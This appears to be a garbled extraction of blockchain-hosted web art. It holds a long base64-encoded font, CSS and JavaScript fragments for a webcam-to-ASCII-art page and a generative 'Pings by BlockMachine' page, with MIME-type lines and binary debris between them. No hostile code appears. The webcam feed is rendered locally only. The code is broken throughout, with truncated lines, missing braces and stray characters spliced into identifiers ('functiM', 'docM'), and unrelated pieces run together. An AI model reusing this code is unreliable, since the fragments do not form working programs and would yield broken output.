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) format('woff');
  font-weight: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    -webkit-transform: scaleX(-1);
    background: #222222;
    font-size: 15px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
 font-family: monospace;
    font-weight: 700;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
dow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 16px;
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobileDevice() {
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d',M
 { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#2bc292", "#fd7772", "#6e7de2", "#2bc292", "#6e7de2", "#00ff00", "#6e7de2", "#ffffff", "#ffffff", "#6e7de2", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
h.min(window.innerHeight, isMobileDevice() ? 600 : 450);
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(functiM
            video.srcObject = stream;
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data M
        const res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - rM
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = docM
ument.createElement('div');
        gridElem.className = 'grid';
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innM
erHTML = getCharByScale(textDarkScale[i][k]);
            gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElMr
ementById('stop').addEventListener('click', (e) => {
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=
=)#)==================================================
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
text/html;charset=utf-8
 <title>Pings by BlockMachine</title>
 <meta http-equiv="Content-Security-Policy"
       content="default-src 'self';
          script-src 'self'
          'sha256-0OQY+oY8VZn1HwMBj1DoZwU0d8G/ZarcCQ9YtwIhIW4='
          'sha256-C9Pc74x5BP660fRg4HJ6AmFM9IpoprZO7TSDFKmjYzw='
          style-src 'sha256-Sh//NQYMlQLF5kyAhsCUatWdECWNo3+cBafUe9XCfpE='">
 <meta charset="utf-8"/>
 let lineThickness = 1
 let wiggleSpeedIdx = 0
 let wiggleStrengthIdx = 0
 let shapeSizesDensity = 4
 let paletteIndex = 0
 let lineColorIdx = 0;
 let shapeColorIdx = 0;
 let shadowColorIdx = 0;
 let emitColorIdx = 0;
 let openShape = false;
 let hasTexture = false;
 urlParams = new URLSearchParams(window.location.search);
 tokenParamsEnc = urlParams.get('tp')
f (tokenParamsEnc == null) {
  if (tokenParamsEnc.startsWith("enc:")) {
   tokenParamsStr = atob(urlUnfriendly(tokenParamsEnc))
   tokenParamsStr = tokenParamsEnc;
  parseInputString(tokenParamsStr);
 function parseInputString(tokenParamsStr) {
  console.log("tokenParamsStr", tokenParamsStr);
  input = JSON.parse(tokenParamsStr)
  tokenId = input[i++]
  numX = input[i++];
  numY = input[i++];
  paletteIndex = input[i++];
  hasTexture = input[i++];
enShape = input[i++];
  lineColorIdx = input[i++];
  paintIdx = input[i++];
  shapeColorIdx = input[i++];
  emitColorIdx = input[i++];
  shadowColorIdx = input[i++];
  shapeSizesDensity = input[i++];
  lineThickness = input[i++];
  emitRate = input[i++];
  wiggleSpeedIdx = input[i++];
  wiggleStrengthIdx = input[i++];
  console.log('tokenId', tokenId)
  console.log('numX', numX)
  console.log('numY', numY)
  console.log('paletteIndex', paletteIndex)
  console.log('hasTexture', hasTexture)
  console.log('openShapeM
  console.log('lineColorIdx', lineColorIdx)
  console.log('paintIdx', paintIdx)
  console.log('shapeColorIdx', shapeColorIdx)
  console.log('emitColorIdx', emitColorIdx)
  console.log('shadowColorIdx', shadowColorIdx)
  console.log('shapeSizesDensity', shapeSizesDensity)
  console.log('lineThickness', lineThickness)
  console.log('emitRate', emitRate)
  console.log('wiggleSpeedIdx', wiggleSpeedIdx)
  console.log('wiggleStrengthIdx', wiggleStrengthIdx)
 function urlUnfriendly(str) {
'===').slice(0, str.length + (4 - (str.length % 4)) % 4);
  return str.replace(/-/g, '+').replace(/_/g, '/');
  "ff4b3e-36213e-c45baa-32936f-f7b801",
  "264653-2a9d8f-e9c46a-f4a261-e76f51",
  "ff0a54-ff477e-ff5c8a-ff7096-ff85a1-ff99ac-fbb1bd-f9bec7-f7cad0-fae0e4",
  "d8e2dc-ffe5d9-ffcad4-f4acb7-9d8189",
  "2ebed9-795ec1-26e3e3-e83de1-f5f84b",
